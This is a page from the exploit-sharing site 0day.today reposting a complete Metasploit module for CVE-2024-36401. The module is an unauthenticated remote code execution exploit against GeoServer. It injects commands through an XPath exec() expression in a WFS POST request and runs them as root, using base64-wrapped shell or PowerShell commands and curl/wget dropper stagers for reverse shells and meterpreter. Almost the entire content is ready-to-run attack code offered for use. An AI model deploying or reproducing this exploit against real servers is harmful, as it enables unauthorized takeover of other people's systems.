0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Geoserver Unauthenticated Remote Code Execution Exploit
Author
Risk
[
Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Geoserver unauthenticated Remote Code Execution', 'Description' => %q{ GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets. In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >= 2.25.0, < 2.25.1, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions. An attacker can abuse this by sending a POST request with a malicious xpath expression to execute arbitrary commands as root on the system. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor 'jheysel-r7', # MSF module Windows support 'Steve Ikeoka' # Discovery ], 'References' => [ ['CVE', '2024-36401'], ['URL', 'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv'], ['URL', 'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401'], ['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401'] ], 'DisclosureDate' => '2024-07-01', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE], 'Privileged' => true, 'Targets' => [ [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd # Tested with cmd/unix/reverse_bash } ], [ 'Linux Dropper', { 'Platform' => ['linux'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE], 'Type' => :linux_dropper, 'Linemax' => 16384, 'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne'] # Tested with linux/x64/meterpreter_reverse_tcp } ], [ 'Windows Command', { 'Platform' => ['Windows'], 'Arch' => ARCH_CMD, 'Type' => :win_cmd # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8080, 'SSL' => false }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']) ] ) end def check_version print_status('Trying to detect if target is running a vulnerable version of GeoServer.') res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path, 'geoserver', 'web', 'wicket', 'bookmarkable', 'org.geoserver.web.AboutGeoServerPage'), 'keep_cookies' => true, 'method' => 'GET' }) return nil unless res && res.code == 200 && res.body.include?('GeoServer Version') html = res.get_html_document unless html.blank? # html identifier for Geoserver version information: <span id="version">2.23.2</span> version = html.css('span[id="version"]') return Rex::Version.new(version[0].text) unless version[0].nil? end nil end def get_valid_featuretype allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places'] res = send_request_cgi!({ 'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'), 'method' => 'GET', 'ctype' => 'application/xml', 'keep_cookies' => true, 'vars_get' => { 'request' => 'ListStoredQueries', 'service' => 'wfs' } }) return nil unless res && res.code == 200 && res.body.include?('ListStoredQueriesResponse') xml = res.get_xml_document unless xml.blank? xml.remove_namespaces! # get all the FeatureTypes and store them in an array of strings retrieved_feature_types = xml.xpath('//ReturnFeatureType') # shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer # return the feature type if a match is found in the allowed_feature_types array retrieved_feature_types.to_a.shuffle.each do |feature_type| return feature_type.text if allowed_feature_types.include?(feature_type.text) end end nil end def create_payload(cmd) # get a valid feature type and fail back to a default if not successful feature_type = get_valid_featuretype feature_type = 'sf:archsites' if feature_type.nil? case target['Type'] when :unix_cmd || :linux_dropper # create customised b64 encoded payload # 'Encoder' => 'cmd/base64' does not work in this particular use case cmd_b64 = Base64.strict_encode64(cmd) cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh" when :win_cmd enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE')) cmd = "powershell.exe -e #{enc_cmd}" end return <<~EOS <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames="#{feature_type}"/> <wfs:valueReference>exec(java.lang.Runtime.getRuntime(), "#{cmd}")</wfs:valueReference> </wfs:GetPropertyValue> EOS end def execute_command(cmd, _opts = {}) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'), 'method' => 'POST', 'ctype' => 'application/xml', 'keep_cookies' => true, 'data' => create_payload(cmd) }) fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException') end def check version_number = check_version return CheckCode::Unknown('Could not retrieve the version information.') if version_number.nil? return CheckCode::Appears("Version #{version_number}") if version_number.between?(Rex::Version.new('2.25.0'), Rex::Version.new('2.25.1')) || version_number.between?(Rex::Version.new('2.24.0'), Rex::Version.new('2.24.3')) || version_number < Rex::Version.new('2.23.6') CheckCode::Safe("Version #{version_number}") end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd, :win_cmd execute_command(payload.encoded) when :linux_dropper # don't check the response here since the server won't respond # if the payload is successfully executed. execute_cmdstager({ linemax: target.opts['Linemax'] }) end end end # 0day.today [2024-11-14] #